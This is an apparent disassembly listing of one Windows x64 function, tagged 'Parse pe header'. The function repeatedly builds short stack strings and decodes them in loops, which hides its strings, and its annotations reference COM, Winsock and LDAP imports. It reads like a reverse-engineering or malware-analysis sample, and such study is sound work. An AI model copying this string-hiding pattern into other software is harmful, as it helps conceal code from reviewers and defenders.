Function at 0x14003740c
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x35e8
call fcn.140173c80
sub rsp, rax
mov dword [rsp + 0x1910], 0
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rcx, [rsp + 0x40]
call fcn.140002990
mov qword [rsp + 0x1918], rax
lea rdx, [0x1401e5608]
lea rcx, [rsp + 0x2078]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2098]
mov r8, rax
lea rdx, [rsp + 0x2078]
lea rcx, [rsp + 0x2520]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x2010], xmm0
movups xmm0, xmmword [rsp + 0x2010]
movdqu xmmword [rsp + 0x2040], xmm0
mov r8, qword [rsp + 0x1918]
lea rdx, [rsp + 0x2040]
lea rcx, [rsp + 0x1e18]
call fcn.140005018
nop
lea rcx, [rsp + 0x41]
call fcn.140002990
mov qword [rsp + 0x19c0], rax
mov byte [rsp + 0x658], 0x28
lea rax, [rsp + 0x659]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 6
mov word [rsp + 0x65a], ax
mov eax, 0x5c
mov word [rsp + 0x65c], ax
mov eax, 0x50
mov word [rsp + 0x65e], ax
mov eax, 0x5c
mov word [rsp + 0x660], ax
xor eax, eax
mov word [rsp + 0x662], ax
lea rax, [rsp + 0x9e8]
lea rcx, [rsp + 0x658]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x150], 0
jmp 0x14003755f
mov rax, qword [rsp + 0x150]
inc rax
mov qword [rsp + 0x150], rax
cmp qword [rsp + 0x150], 4
jae 0x1400375d6
lea rax, [rsp + 0x9ea]
mov qword [rsp + 0x1920], rax
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x1920]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0x9e8]
call fcn.140002b40
mov word [rsp + 0x7a], ax
lea rax, [rsp + 0x9ea]
mov qword [rsp + 0x1928], rax
mov rdx, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x1928]
call fcn.140002994
movzx ecx, word [rsp + 0x7a]
mov word [rax], cx
jmp 0x14003754c
lea rax, [rsp + 0x9ea]
mov qword [rsp + 0x1930], rax
mov edx, 4
mov rcx, qword [rsp + 0x1930]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0x9ea]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1938], rax
mov rdx, qword [rsp + 0x1938]
lea rcx, [rsp + 0x2750]
call fcn.140002cb4
nop
mov byte [rsp + 0x668], 0x71
lea rax, [rsp + 0x669]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x5f
mov word [rsp + 0x66a], ax
mov eax, reloc.WS2_32.dll_setsockopt
mov word [rsp + 0x66c], ax
mov eax, reloc.WLDAP32.dll_Ordinal_30
mov word [rsp + 0x66e], ax
mov eax, reloc.WS2_32.dll_select
mov word [rsp + 0x670], ax
xor eax, eax
mov word [rsp + 0x672], ax
lea rax, [rsp + 0x9f4]
lea rcx, [rsp + 0x668]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x158], 0
jmp 0x1400376c3
mov rax, qword [rsp + 0x158]
inc rax
mov qword [rsp + 0x158], rax
cmp qword [rsp + 0x158], 4
jae 0x14003773a
lea rax, [rsp + 0x9f6]
mov qword [rsp + 0x1940], rax
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x1940]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0x9f4]
call fcn.140002b40
mov word [rsp + 0x7c], ax
lea rax, [rsp + 0x9f6]
mov qword [rsp + 0x1948], rax
mov rdx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x1948]
call fcn.140002994
movzx ecx, word [rsp + 0x7c]
mov word [rax], cx
jmp 0x1400376b0
lea rax, [rsp + 0x9f6]
mov qword [rsp + 0x1950], rax
mov edx, 4
mov rcx, qword [rsp + 0x1950]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0x9f6]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1958], rax
mov rdx, qword [rsp + 0x1958]
lea rcx, [rsp + 0x2770]
call fcn.140002cb4
nop
mov byte [rsp + 0x678], 0x30
lea rax, [rsp + 0x679]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WLDAP32.dll_Ordinal_30
mov word [rsp + 0x67a], ax
mov eax, 0x54
mov word [rsp + 0x67c], ax
mov eax, 0x51
mov word [rsp + 0x67e], ax
mov eax, 0x44
mov word [rsp + 0x680], ax
xor eax, eax
mov word [rsp + 0x682], ax
lea rax, [rsp + 0xa00]
lea rcx, [rsp + 0x678]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x160], 0
jmp 0x140037827
mov rax, qword [rsp + 0x160]
inc rax
mov qword [rsp + 0x160], rax
cmp qword [rsp + 0x160], 4
jae 0x14003789e
lea rax, [rsp + 0xa02]
mov qword [rsp + 0x1960], rax
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x1960]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa00]
call fcn.140002b40
mov word [rsp + 0x7e], ax
lea rax, [rsp + 0xa02]
mov qword [rsp + 0x1968], rax
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x1968]
call fcn.140002994
movzx ecx, word [rsp + 0x7e]
mov word [rax], cx
jmp 0x140037814
lea rax, [rsp + 0xa02]
mov qword [rsp + 0x1970], rax
mov edx, 4
mov rcx, qword [rsp + 0x1970]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa02]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1978], rax
mov rdx, qword [rsp + 0x1978]
lea rcx, [rsp + 0x2790]
call fcn.140002cb4
nop
mov byte [rsp + 0x638], 0x6f
lea rax, [rsp + 0x639]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x41
mov word [rsp + 0x63a], ax
mov eax, Ordinal_32
mov word [rsp + 0x63c], ax
mov eax, reloc.WLDAP32.dll_Ordinal_27
mov word [rsp + 0x63e], ax
mov eax, 9
mov word [rsp + 0x640], ax
xor eax, eax
mov word [rsp + 0x642], ax
lea rax, [rsp + 0xa0c]
lea rcx, [rsp + 0x638]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x168], 0
jmp 0x14003798b
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
cmp qword [rsp + 0x168], 4
jae 0x140037a08
lea rax, [rsp + 0xa0e]
mov qword [rsp + 0x1980], rax
mov rdx, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x1980]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa0c]
call fcn.140002b40
mov word [rsp + 0x80], ax
lea rax, [rsp + 0xa0e]
mov qword [rsp + 0x1988], rax
mov rdx, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x1988]
call fcn.140002994
movzx ecx, word [rsp + 0x80]
mov word [rax], cx
jmp 0x140037978
lea rax, [rsp + 0xa0e]
mov qword [rsp + 0x1990], rax
mov edx, 4
mov rcx, qword [rsp + 0x1990]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa0e]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1998], rax
mov rdx, qword [rsp + 0x1998]
lea rcx, [rsp + 0x27b0]
call fcn.140002cb4
nop
mov byte [rsp + 0x910], 0x68
lea rax, [rsp + 0x911]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x46
mov word [rsp + 0x912], ax
mov eax, Ordinal_32
mov word [rsp + 0x914], ax
mov eax, 9
mov word [rsp + 0x916], ax
mov eax, 4
mov word [rsp + 0x918], ax
mov eax, 4
mov word [rsp + 0x91a], ax
mov eax, reloc.WS2_32.dll_listen
mov word [rsp + 0x91c], ax
mov eax, Ordinal_32
mov word [rsp + 0x91e], ax
xor eax, eax
mov word [rsp + 0x920], ax
lea rax, [rsp + 0xc18]
lea rcx, [rsp + 0x910]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x170], 0
jmp 0x140037b1c
mov rax, qword [rsp + 0x170]
inc rax
mov qword [rsp + 0x170], rax
cmp qword [rsp + 0x170], 7
jae 0x140037b99
lea rax, [rsp + 0xc1a]
mov qword [rsp + 0x19a0], rax
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x19a0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc18]
call fcn.140002b40
mov word [rsp + 0x82], ax
lea rax, [rsp + 0xc1a]
mov qword [rsp + 0x19a8], rax
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x19a8]
call fcn.140002994
movzx ecx, word [rsp + 0x82]
mov word [rax], cx
jmp 0x140037b09
lea rax, [rsp + 0xc1a]
mov qword [rsp + 0x19b0], rax
mov edx, 7
mov rcx, qword [rsp + 0x19b0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc1a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x19b8], rax
mov rdx, qword [rsp + 0x19b8]
lea rcx, [rsp + 0x27d0]
call fcn.140002cb4
nop
lea rax, [rsp + 0x27f0]
mov r8, rax
lea rdx, [rsp + 0x2750]
lea rcx, [rsp + 0x2260]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1df0], xmm0
movups xmm0, xmmword [rsp + 0x1df0]
movdqu xmmword [rsp + 0x1ca0], xmm0
mov r8, qword [rsp + 0x19c0]
lea rdx, [rsp + 0x1ca0]
lea rcx, [rsp + 0x1ec0]
call fcn.140005018
nop
lea rcx, [rsp + 0x22a0]
call fcn.1400ec72c
mov qword [rsp + 0x19c8], rax
mov rax, qword [rsp + 0x19c8]
mov qword [rsp + 0x19d0], rax
mov rax, qword [rsp + 0x19d0]
mov qword [rsp + 0x19e8], rax
lea rax, [rsp + 0x3460]
mov qword [rsp + 0x19d8], rax
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0x19d8]
call fcn.14000359c
mov qword [rsp + 0x19e0], rax
mov rax, qword [rsp + 0x19e0]
mov qword [rsp + 0x19f0], rax
mov qword [rsp + 0x30], 0x500000
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x1e18]
lea r8, [rsp + 0x1ec0]
mov rdx, qword [rsp + 0x19e8]
mov rcx, qword [rsp + 0x19f0]
call fcn.14004bebc
nop
lea rcx, [rsp + 0x22a0]
call fcn.140002984
nop
lea rcx, [rsp + 0x1ec0]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 5
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2750]
call fcn.1401735d0
nop
lea rcx, [rsp + 0x1e18]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 1
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2078]
call fcn.1401735d0
lea rcx, [rsp + 0x1e48]
call fcn.14000f48c
nop
lea rcx, [rsp + 0x1e30]
call fcn.14000f48c
nop
mov byte [rsp + 0x698], 0x2c
lea rax, [rsp + 0x699]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 2
mov word [rsp + 0x69a], ax
mov eax, 0x5f
mov word [rsp + 0x69c], ax
mov eax, 0x5f
mov word [rsp + 0x69e], ax
mov eax, 0x44
mov word [rsp + 0x6a0], ax
xor eax, eax
mov word [rsp + 0x6a2], ax
lea rax, [rsp + 0xa18]
lea rcx, [rsp + 0x698]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x178], 0
jmp 0x140037e17
mov rax, qword [rsp + 0x178]
inc rax
mov qword [rsp + 0x178], rax
cmp qword [rsp + 0x178], 4
jae 0x140037e94
lea rax, [rsp + 0xa1a]
mov qword [rsp + 0x19f8], rax
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x19f8]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa18]
call fcn.140002b40
mov word [rsp + 0x84], ax
lea rax, [rsp + 0xa1a]
mov qword [rsp + 0x1a00], rax
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x1a00]
call fcn.140002994
movzx ecx, word [rsp + 0x84]
mov word [rax], cx
jmp 0x140037e04
lea rax, [rsp + 0xa1a]
mov qword [rsp + 0x1a08], rax
mov edx, 4
mov rcx, qword [rsp + 0x1a08]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa1a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1a10], rax
mov rdx, qword [rsp + 0x1a10]
lea rcx, [rsp + 0x2130]
call fcn.140002cb4
nop
lea rcx, [rsp + 0x2350]
call fcn.1400ec764
mov qword [rsp + 0x1a18], rax
mov rax, qword [rsp + 0x1a18]
mov qword [rsp + 0x1a20], rax
lea r8, [rsp + 0x2130]
mov rdx, qword [rsp + 0x1a20]
lea rcx, [rsp + 0x2330]
call fcn.140003828
mov qword [rsp + 0x1a28], rax
mov rax, qword [rsp + 0x1a28]
mov qword [rsp + 0x1a30], rax
mov rax, qword [rsp + 0x1a30]
mov qword [rsp + 0x1a48], rax
lea rax, [rsp + 0x3480]
mov qword [rsp + 0x1a38], rax
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0x1a38]
call fcn.14000359c
mov qword [rsp + 0x1a40], rax
mov rax, qword [rsp + 0x1a40]
mov qword [rsp + 0x1a50], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x1e48]
lea r8, [rsp + 0x1e30]
mov rdx, qword [rsp + 0x1a48]
mov rcx, qword [rsp + 0x1a50]
call fcn.14004bebc
nop
lea rcx, [rsp + 0x2330]
call fcn.140002984
nop
lea rcx, [rsp + 0x2350]
call fcn.140002984
nop
lea rcx, [rsp + 0x2130]
call fcn.140002984
nop
lea rcx, [rsp + 0x1e30]
call fcn.140005010
nop
lea rcx, [rsp + 0x1e48]
call fcn.140005010
lea rcx, [rsp + 0x42]
call fcn.140002990
mov qword [rsp + 0x1af8], rax
mov byte [rsp + 0x6a8], 0x5a
lea rax, [rsp + 0x6a9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x6aa], ax
mov eax, 0x3d
mov word [rsp + 0x6ac], ax
mov eax, 0x33
mov word [rsp + 0x6ae], ax
mov eax, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x6b0], ax
xor eax, eax
mov word [rsp + 0x6b2], ax
lea rax, [rsp + 0xa24]
lea rcx, [rsp + 0x6a8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x180], 0
jmp 0x1400380be
mov rax, qword [rsp + 0x180]
inc rax
mov qword [rsp + 0x180], rax
cmp qword [rsp + 0x180], 4
jae 0x14003813b
lea rax, [rsp + 0xa26]
mov qword [rsp + 0x1a58], rax
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x1a58]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa24]
call fcn.140002b40
mov word [rsp + 0x86], ax
lea rax, [rsp + 0xa26]
mov qword [rsp + 0x1a60], rax
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x1a60]
call fcn.140002994
movzx ecx, word [rsp + 0x86]
mov word [rax], cx
jmp 0x1400380ab
lea rax, [rsp + 0xa26]
mov qword [rsp + 0x1a68], rax
mov edx, 4
mov rcx, qword [rsp + 0x1a68]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa26]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1a70], rax
mov rdx, qword [rsp + 0x1a70]
lea rcx, [rsp + 0x2800]
call fcn.140002cb4
nop
mov byte [rsp + 0x5f8], 0x75
lea rax, [rsp + 0x5f9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x5b
mov word [rsp + 0x5fa], ax
mov eax, 3
mov word [rsp + 0x5fc], ax
mov eax, 6
mov word [rsp + 0x5fe], ax
xor eax, eax
mov word [rsp + 0x600], ax
lea rax, [rsp + 0x988]
lea rcx, [rsp + 0x5f8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x188], 0
jmp 0x14003821b
mov rax, qword [rsp + 0x188]
inc rax
mov qword [rsp + 0x188], rax
cmp qword [rsp + 0x188], 3
jae 0x140038298
lea rax, [rsp + 0x98a]
mov qword [rsp + 0x1a78], rax
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x1a78]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0x988]
call fcn.140002b40
mov word [rsp + 0x88], ax
lea rax, [rsp + 0x98a]
mov qword [rsp + 0x1a80], rax
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x1a80]
call fcn.140002994
movzx ecx, word [rsp + 0x88]
mov word [rax], cx
jmp 0x140038208
lea rax, [rsp + 0x98a]
mov qword [rsp + 0x1a88], rax
mov edx, 3
mov rcx, qword [rsp + 0x1a88]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0x98a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1a90], rax
mov rdx, qword [rsp + 0x1a90]
lea rcx, [rsp + 0x2820]
call fcn.140002cb4
nop
mov byte [rsp + 0x928], 0x78
lea rax, [rsp + 0x929]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_45
mov word [rsp + 0x92a], ax
mov eax, Ordinal_32
mov word [rsp + 0x92c], ax
mov eax, reloc.WS2_32.dll_sendto
mov word [rsp + 0x92e], ax
mov eax, Ordinal_32
mov word [rsp + 0x930], ax
mov eax, Ordinal_27
mov word [rsp + 0x932], ax
mov eax, listen
mov word [rsp + 0x934], ax
mov eax, Ordinal_32
mov word [rsp + 0x936], ax
xor eax, eax
mov word [rsp + 0x938], ax
lea rax, [rsp + 0xc2a]
lea rcx, [rsp + 0x928]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x190], 0
jmp 0x1400383ac
mov rax, qword [rsp + 0x190]
inc rax
mov qword [rsp + 0x190], rax
cmp qword [rsp + 0x190], 7
jae 0x140038429
lea rax, [rsp + 0xc2c]
mov qword [rsp + 0x1a98], rax
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x1a98]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc2a]
call fcn.140002b40
mov word [rsp + 0x8a], ax
lea rax, [rsp + 0xc2c]
mov qword [rsp + 0x1aa0], rax
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x1aa0]
call fcn.140002994
movzx ecx, word [rsp + 0x8a]
mov word [rax], cx
jmp 0x140038399
lea rax, [rsp + 0xc2c]
mov qword [rsp + 0x1aa8], rax
mov edx, 7
mov rcx, qword [rsp + 0x1aa8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc2c]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1ab0], rax
mov rdx, qword [rsp + 0x1ab0]
lea rcx, [rsp + 0x2840]
call fcn.140002cb4
nop
mov byte [rsp + 0x818], 0x14
lea rax, [rsp + 0x819]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x50
mov word [rsp + 0x81a], ax
mov eax, WSAStartup
mov word [rsp + 0x81c], ax
mov eax, 0x76
mov word [rsp + 0x81e], ax
mov eax, 0x61
mov word [rsp + 0x820], ax
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x822], ax
xor eax, eax
mov word [rsp + 0x824], ax
lea rax, [rsp + 0xb90]
lea rcx, [rsp + 0x818]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_ntohl
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x198], 0
jmp 0x140038523
mov rax, qword [rsp + 0x198]
inc rax
mov qword [rsp + 0x198], rax
cmp qword [rsp + 0x198], 5
jae 0x1400385a0
lea rax, [rsp + 0xb92]
mov qword [rsp + 0x1ab8], rax
mov rdx, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x1ab8]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb90]
call fcn.140002b40
mov word [rsp + 0x8c], ax
lea rax, [rsp + 0xb92]
mov qword [rsp + 0x1ac0], rax
mov rdx, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x1ac0]
call fcn.140002994
movzx ecx, word [rsp + 0x8c]
mov word [rax], cx
jmp 0x140038510
lea rax, [rsp + 0xb92]
mov qword [rsp + 0x1ac8], rax
mov edx, 5
mov rcx, qword [rsp + 0x1ac8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb92]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1ad0], rax
mov rdx, qword [rsp + 0x1ad0]
lea rcx, [rsp + 0x2860]
call fcn.140002cb4
nop
lea rdx, [rsp + 0x2c9a]
lea rcx, [rsp + 0x43]
call fcn.140040c84
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1a0], 0
jmp 0x140038630
mov rax, qword [rsp + 0x1a0]
inc rax
mov qword [rsp + 0x1a0], rax
cmp qword [rsp + 0x1a0], 0xc
jae 0x1400386b5
mov rax, qword [rsp + 0x1a8]
add rax, 2
mov qword [rsp + 0x1ad8], rax
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1ad8]
call fcn.140002994
movzx edx, word [rax]
mov rcx, qword [rsp + 0x1a8]
call fcn.140002b40
mov word [rsp + 0x8e], ax
mov rax, qword [rsp + 0x1a8]
add rax, 2
mov qword [rsp + 0x1ae0], rax
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1ae0]
call fcn.140002994
movzx ecx, word [rsp + 0x8e]
mov word [rax], cx
jmp 0x14003861d
mov rax, qword [rsp + 0x1a8]
add rax, 2
mov qword [rsp + 0x1ae8], rax
mov edx, recv
mov rcx, qword [rsp + 0x1ae8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
mov rax, qword [rsp + 0x1a8]
add rax, 2
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1af0], rax
mov rdx, qword [rsp + 0x1af0]
lea rcx, [rsp + 0x2880]
call fcn.140002cb4
nop
lea rax, [rsp + 0x28a0]
mov r8, rax
lea rdx, [rsp + 0x2800]
lea rcx, [rsp + 0x2270]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1cb0], xmm0
movups xmm0, xmmword [rsp + 0x1cb0]
movdqu xmmword [rsp + 0x1cc0], xmm0
mov r8, qword [rsp + 0x1af8]
lea rdx, [rsp + 0x1cc0]
lea rcx, [rsp + 0x1e78]
call fcn.140005018
nop
lea rcx, [rsp + 0x44]
call fcn.140002990
mov qword [rsp + 0x1be0], rax
mov byte [rsp + 0x6b8], 0x48
lea rax, [rsp + 0x6b9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x66
mov word [rsp + 0x6ba], ax
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov word [rsp + 0x6bc], ax
mov eax, Ordinal_50
mov word [rsp + 0x6be], ax
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov word [rsp + 0x6c0], ax
xor eax, eax
mov word [rsp + 0x6c2], ax
lea rax, [rsp + 0xa30]
lea rcx, [rsp + 0x6b8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1b0], 0
jmp 0x140038817
mov rax, qword [rsp + 0x1b0]
inc rax
mov qword [rsp + 0x1b0], rax
cmp qword [rsp + 0x1b0], 4
jae 0x140038894
lea rax, [rsp + 0xa32]
mov qword [rsp + 0x1b00], rax
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b00]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa30]
call fcn.140002b40
mov word [rsp + 0x90], ax
lea rax, [rsp + 0xa32]
mov qword [rsp + 0x1b08], rax
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b08]
call fcn.140002994
movzx ecx, word [rsp + 0x90]
mov word [rax], cx
jmp 0x140038804
lea rax, [rsp + 0xa32]
mov qword [rsp + 0x1b10], rax
mov edx, 4
mov rcx, qword [rsp + 0x1b10]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa32]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1b18], rax
mov rdx, qword [rsp + 0x1b18]
lea rcx, [rsp + 0x2a30]
call fcn.140002cb4
nop
mov byte [rsp + 0x608], 0x1d
lea rax, [rsp + 0x609]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x33
mov word [rsp + 0x60a], ax
mov eax, 0x69
mov word [rsp + 0x60c], ax
mov eax, 0x65
mov word [rsp + 0x60e], ax
mov eax, 0x69
mov word [rsp + 0x610], ax
xor eax, eax
mov word [rsp + 0x612], ax
lea rax, [rsp + 0xb14]
lea rcx, [rsp + 0x608]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1b8], 0
jmp 0x140038981
mov rax, qword [rsp + 0x1b8]
inc rax
mov qword [rsp + 0x1b8], rax
cmp qword [rsp + 0x1b8], 4
jae 0x1400389fe
lea rax, [rsp + 0xb16]
mov qword [rsp + 0x1b20], rax
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b20]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb14]
call fcn.140002b40
mov word [rsp + 0x92], ax
lea rax, [rsp + 0xb16]
mov qword [rsp + 0x1b28], rax
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b28]
call fcn.140002994
movzx ecx, word [rsp + 0x92]
mov word [rax], cx
jmp 0x14003896e
lea rax, [rsp + 0xb16]
mov qword [rsp + 0x1b30], rax
mov edx, 4
mov rcx, qword [rsp + 0x1b30]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb16]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1b38], rax
mov rdx, qword [rsp + 0x1b38]
lea rcx, [rsp + 0x2a50]
call fcn.140002cb4
nop
mov byte [rsp + 0x6d8], 0x33
lea rax, [rsp + 0x6d9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_32
mov word [rsp + 0x6da], ax
mov eax, 0x49
mov word [rsp + 0x6dc], ax
mov eax, 0x5a
mov word [rsp + 0x6de], ax
mov eax, 0x43
mov word [rsp + 0x6e0], ax
xor eax, eax
mov word [rsp + 0x6e2], ax
lea rax, [rsp + 0xac0]
lea rcx, [rsp + 0x6d8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1c0], 0
jmp 0x140038aeb
mov rax, qword [rsp + 0x1c0]
inc rax
mov qword [rsp + 0x1c0], rax
cmp qword [rsp + 0x1c0], 4
jae 0x140038b68
lea rax, [rsp + 0xac2]
mov qword [rsp + 0x1b40], rax
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1b40]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xac0]
call fcn.140002b40
mov word [rsp + 0x94], ax
lea rax, [rsp + 0xac2]
mov qword [rsp + 0x1b48], rax
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1b48]
call fcn.140002994
movzx ecx, word [rsp + 0x94]
mov word [rax], cx
jmp 0x140038ad8
lea rax, [rsp + 0xac2]
mov qword [rsp + 0x1b50], rax
mov edx, 4
mov rcx, qword [rsp + 0x1b50]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xac2]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1b58], rax
mov rdx, qword [rsp + 0x1b58]
lea rcx, [rsp + 0x2a70]
call fcn.140002cb4
nop
mov byte [rsp + 0x6e8], 0x48
lea rax, [rsp + 0x6e9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x66
mov word [rsp + 0x6ea], ax
mov eax, Ordinal_60
mov word [rsp + 0x6ec], ax
mov eax, reloc.WLDAP32.dll_Ordinal_41
mov word [rsp + 0x6ee], ax
mov eax, Ordinal_60
mov word [rsp + 0x6f0], ax
xor eax, eax
mov word [rsp + 0x6f2], ax
